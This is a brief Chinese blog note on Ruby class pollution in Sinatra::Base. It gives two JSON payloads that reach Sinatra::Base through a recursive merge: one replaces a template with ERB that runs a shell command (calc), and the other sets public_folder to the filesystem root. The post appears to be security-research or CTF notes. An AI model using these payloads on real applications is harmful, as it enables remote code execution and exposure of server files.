Skip to content
blogs of mekrina
Go back

原型链污染

Updated:
Edit page

Sinatra::Base框架

{
  "class": {
    "superclass": {
      "superclass": {
        "subclasses": {
          "sample": {
            "templates": {
              "hello": "<%= `calc` %>"
            }
          }
        }
      }
    }
  }
}

subclassses后是所有基于Object的类,sample是数组的一个方法(merge中会调用public_send,根据名称执行函数),返回随机一个结果,当返回的是Sinatra::Base时,就会拿到templates属性,然后把hello.erb写成我们执行的模板,执行任意ruby代码。

同样的思路也可以写public_folder

{
  "class": {
    "superclass": {
      "superclass": {
        "subclasses": {
          "sample": {
            "public_folder": "/"
          }
        }
      }
    }
  }
}

Edit page